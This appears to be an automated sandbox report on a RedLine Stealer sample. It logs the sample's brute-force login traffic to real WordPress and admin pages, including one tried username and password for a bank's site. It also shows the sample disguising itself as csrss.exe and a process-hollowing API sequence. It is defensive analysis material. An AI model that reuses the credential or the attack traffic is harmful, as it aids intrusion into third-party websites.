2023-11-26 06:00:08 UTC	1124	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 58 53 52 46 2d 54 4f 4b 45 4e 3d 65 79 4a 70 64 69 49 36 49 6d 5a 59 56 6a 42 75 61 6c 4e 48 59 33 46 4b 59 6d 4a 34 4e 56 46 53 61 54 6c 7a 59 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 58 4e 6f 59 30 46 49 61 6c 64 54 55 6e 5a 75 56 54 6b 34 54 6c 4a 30 63 7a 42 43 55 48 4e 43 5a 48 56 34 4b 31 5a 4c 5a 47 35 4a 52 45 56 4d 56 44 6c 35 54 31 68 74 62 7a 68 4f 62 31 70 4e 53 46 5a 69 57 6a 6c 73 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:08 GMTServer: ApacheCache-Control: no-cache, privateSet-Cookie: XSRF-TOKEN=eyJpdiI6ImZYVjBualNHY3FKYmJ4NVFSaTlzYkE9PSIsInZhbHVlIjoiTXNoY0FIaldTUnZuVTk4TlJ0czBCUHNCZHV4K1ZLZG5JREVMVDl5T1htbzhOb1pNSFZiWjls
2023-11-26 06:00:08 UTC	5813	IN	Data Raw: 31 36 61 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 66 69 78 65 64 22 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 0d 0a 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 Data Ascii: 16a8<!doctype html><html class="fixed"><meta http-equiv="content-type" content="text/html;charset=UTF-8" /><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalab

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.4	58127	164.52.221.51	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:07 UTC	336	OUT	POST /wp-login.php HTTP/1.1 Host: gccb.co.in Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://gccb.co.in/wp-login.php Content-Length: 126 Content-Type: application/x-www-form-urlencoded
2023-11-26 06:00:07 UTC	126	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 26 70 77 64 3d 69 6e 66 6f 67 63 63 62 63 6f 69 6e 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 67 63 63 62 2e 63 6f 2e 69 6e 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=admin&pwd=infogccbcoin&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fgccb.co.in%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:09 UTC	412	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 30 2e 32 30 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:07 GMTServer: ApacheX-Powered-By: PHP/8.0.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%
2023-11-26 06:00:09 UTC	6739	IN	Data Raw: 31 61 34 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 Data Ascii: 1a4b<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; The Godhra City Co-op Bank Ltd. — WordPress</title><meta name='robots' content='max-image-preview:lar
2023-11-26 06:00:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.4	58314	18.228.96.142	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:07 UTC	182	OUT	GET /admin.php HTTP/1.1 Host: www.rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:08 UTC	440	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 72 65 63 68 2e 63 6f 6d 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6f 72 69 67 69 6e 44 69 72 65 63 74 3d 74 72 75 65 3b 20 4d 61 78 2d 41 67 65 3d 36 30 34 38 30 30 3b 20 45 78 70 69 72 65 73 3d 53 75 6e 2c 20 30 33 20 44 65 63 20 32 30 32 33 20 30 36 3a 30 30 3a 30 37 20 47 4d Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 06:00:07 GMTContent-Length: 0Connection: closeContent-Security-Policy: frame-ancestors 'self'Location: https://rech.comSet-Cookie: originDirect=true; Max-Age=604800; Expires=Sun, 03 Dec 2023 06:00:07 GM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.4	58328	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:07 UTC	238	OUT	GET /login/?page=%2Fpma%2F HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=nn0g7rh2miv369ou46lobg5pmb User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:08 UTC	536	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 33 20 53 65 65 20 4f 74 68 65 72 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a Data Ascii: HTTP/1.1 303 See OtherServer: nginxDate: Sun, 26 Nov 2023 06:00:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate
2023-11-26 06:00:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.4	58366	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:08 UTC	948	OUT	GET /saml/index.php?page=%2Fwp-admin%2F HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=0pfpv6fic6tscei8l2krgncvto User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://login.microsoftonline.com/c8f4395e-fa4e-4196-adb9-ba2cd2ca09f0/saml2?SAMLRequest=fZJLj9sgFIX3%2BRUj740xzmOMkkjppI9IaRJN0i66qa7heoKEwQN42vz7OmaqaSs1LA%2F3Ozr3wNxDo1u%2B6sLZPOJzhz6M7vrzs9HG8%2BFykXTOcAteeW6gQc%2BD4MfV5y1nhPLW2WCF1ck%2F2G0KvEcXlDUR26wXyX73frv%2FuNl9L%2BsCZ6xiMygKEILeU5nXVT6dVZJhIRkUk0kNExnRr%2Bh877NIettkFN2873BjfAATep2yIs3zlE1PdMop5ZR9i%2Bi6X1YZCAN%2BDqH1PMu0fVKGNEo4620drNHKIBG2ycR9PS7KCaY1jDEd5%2BU0BVmVaQVMSCaAljXNrquzaH94beadMlKZp9uFVHHI80%2Bn0yE97I%2BnaLL6XdSDNb5r0B3RvSiBXx63b5mbCxGgX8BdyLOWBGVHoBuiZCJipD23yXJwnF91PnTkljcd5tmfo29wy3d9%2Fs36YLUSl0G%2Fng%2FWNRD%2Bv2ZO8kFRMq2HUd4Z36JQtcLXxxw21tr%2BeHAIARdJcB0md9lyFLP8%2FVGXvwA%3D&RelayState=%2Fwp-login.php
2023-11-26 06:00:08 UTC	1089	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 06:00:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTPragma: no-cacheCache-Control: no-cache, must-revalida
2023-11-26 06:00:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.4	59179	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:08 UTC	182	OUT	GET /wp-login.php HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:09 UTC	496	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:08 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/;
2023-11-26 06:00:09 UTC	7696	IN	Data Raw: 32 61 65 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 41 63 63 65 64 65 72 20 26 6c 73 61 71 75 6f 3b 20 47 52 55 50 4f 20 52 45 47 49 4f 20 53 41 46 45 54 59 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 2e 6c 6f 67 69 6e 2d 61 63 74 69 6f 6e 2d 6c 6f 73 74 70 61 73 73 77 6f 72 64 20 23 6c 6f 67 69 6e 5f 65 72 72 6f 72 7b 0a 20 20 Data Ascii: 2ae7<!DOCTYPE html><html lang="es-MX"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Acceder &lsaquo; GRUPO REGIO SAFETY — WordPress</title> <style> .login-action-lostpassword #login_error{
2023-11-26 06:00:09 UTC	3293	IN	Data Raw: 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 64 3d 22 70 61 73 73 77 6f 72 64 2d 73 74 72 65 6e 67 74 68 2d 6d 65 74 65 72 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 70 77 73 4c 31 30 6e 20 3d 20 7b 22 75 6e 6b 6e 6f 77 6e 22 3a 22 46 6f 72 74 61 6c 65 7a 61 20 64 65 20 63 6f 6e 74 72 61 73 65 5c 75 30 30 66 31 61 20 64 65 73 63 6f 6e 6f 63 69 64 61 22 2c 22 73 68 6f 72 74 22 3a 22 4d 75 79 20 64 5c 75 30 30 65 39 62 69 6c 22 2c 22 62 61 64 22 3a 22 44 5c 75 30 30 65 39 62 69 6c 22 2c 22 67 6f 6f 64 22 3a 22 4d 65 64 69 6f 22 2c 22 73 74 72 6f 6e 67 22 3a 22 46 75 65 72 74 65 22 2c 22 6d 69 73 6d 61 74 63 68 22 3a 22 4e 6f 20 63 6f 69 6e 63 69 64 65 6e 22 7d 3b 0a 2f 2a 20 5d 5d 3e Data Ascii: pe="text/javascript" id="password-strength-meter-js-extra">/* <![CDATA[ /var pwsL10n = {"unknown":"Fortaleza de contrase\u00f1a desconocida","short":"Muy d\u00e9bil","bad":"D\u00e9bil","good":"Medio","strong":"Fuerte","mismatch":"No coinciden"};/ ...
2023-11-26 06:00:09 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 06:00:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:58:42
Start date:	26/11/2023
Path:	C:\Users\user\Desktop\klWGq3yDcQ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\klWGq3yDcQ.exe
Imagebase:	0x400000
File size:	1'973'248 bytes
MD5 hash:	FE049DDD0FFD2DF34DA564208AFF9CEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1679577642.00000000023E9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:58:48
Start date:	26/11/2023
Path:	C:\Users\user\Desktop\klWGq3yDcQ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\klWGq3yDcQ.exe
Imagebase:	0x400000
File size:	1'973'248 bytes
MD5 hash:	FE049DDD0FFD2DF34DA564208AFF9CEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:58:57
Start date:	26/11/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	1'973'248 bytes
MD5 hash:	FE049DDD0FFD2DF34DA564208AFF9CEC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000002.00000002.1864389783.0000000002800000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:59:06
Start date:	26/11/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	1'973'248 bytes
MD5 hash:	FE049DDD0FFD2DF34DA564208AFF9CEC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	06:59:45
Start date:	26/11/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 5984
Imagebase:	0x150000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:00:07
Start date:	26/11/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 25500
Imagebase:	0x150000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:00:48
Start date:	26/11/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 38276
Imagebase:	0x150000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:00:48
Start date:	26/11/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 260
Imagebase:	0x150000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:00:48
Start date:	26/11/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 38328
Imagebase:	0x150000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	12.5%
Signature Coverage:	3.8%
Total number of Nodes:	1626
Total number of Limit Nodes:	15

Executed Functions

Function 004043A4 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 110
pipewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CharToOemBuffA.USER32(00000000,00000000,00000000), ref: 004043BD
GetMessageExtraInfo.USER32 ref: 004043C3
GetCharWidth32A.GDI32(00000000,00000000,00000000,00000000), ref: 004043CD
GetCharABCWidthsFloatW.GDI32(00000000,00000000,00000000,?), ref: 004043DB
GetLastError.KERNEL32 ref: 004043EB
GetNamedPipeInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004043F6
GetConsoleAliasExesLengthA.KERNEL32 ref: 0040441F
_calloc.LIBCMT ref: 00404427
_puts.LIBCMT ref: 00404452
_fputc.LIBCMT ref: 0040445A
GlobalFindAtomW.KERNEL32(eyi), ref: 00404481
GetPrivateProfileStringA.KERNEL32(zugoniwah hecaxazazanabesarekad wafaluwegog doy figafe,tutuyudojebogegifetejom tazituvenawib birecune tofovajoka cek,ducuji rapoduwowemabeda,?,00000000,hiduhitacimiluniv xilayedareheso zudofodajitilefufoce), ref: 004044C9

Strings

tutuyudojebogegifetejom tazituvenawib birecune tofovajoka cek, xrefs: 004044BF
zugoniwah hecaxazazanabesarekad wafaluwegog doy figafe, xrefs: 004044C4
hiduhitacimiluniv xilayedareheso zudofodajitilefufoce, xrefs: 004044AF
ducuji rapoduwowemabeda, xrefs: 004044BA
Lt], xrefs: 004043B3
eyi, xrefs: 0040447C

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: Char$Info$AliasAtomBuffConsoleErrorExesExtraFindFloatGlobalLastLengthMessageNamedPipePrivateProfileStringWidth32Widths_calloc_fputc_puts
String ID: Lt]$ducuji rapoduwowemabeda$eyi$hiduhitacimiluniv xilayedareheso zudofodajitilefufoce$tutuyudojebogegifetejom tazituvenawib birecune tofovajoka cek$zugoniwah hecaxazazanabesarekad wafaluwegog doy figafe
API String ID: 1057375116-16110241
Opcode ID: 38b6782d371fa38301d256e5d652afa3080897bf4fc6e337818a6e8fef98eadb
Instruction ID: 916d8d31424d332028d08442ddf11976d49fcbb398fe0f80a4dc0a983208b3f4
Opcode Fuzzy Hash: 38b6782d371fa38301d256e5d652afa3080897bf4fc6e337818a6e8fef98eadb
Instruction Fuzzy Hash: 143138B0605610AFC3216F65AC49E5B3FACEF85365710053BF245A21E0D7785A41CBAD

Uniqueness

Uniqueness Score: -1.00%

Function 025B0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 025B0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 025B016C
CreateProcessA.KERNELBASE(?,00000000), ref: 025B0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 025B0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 025B0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 025B029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 025B02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 025B02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 025B0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 025B032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 025B0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 025B03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 025B03E1
ResumeThread.KERNELBASE(00000000), ref: 025B03ED
ExitProcess.KERNEL32(00000000), ref: 025B0412

Memory Dump Source

Source File: 00000000.00000002.1679668945.00000000025B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_25b0000_klWGq3yDcQ.jbxd

Similarity

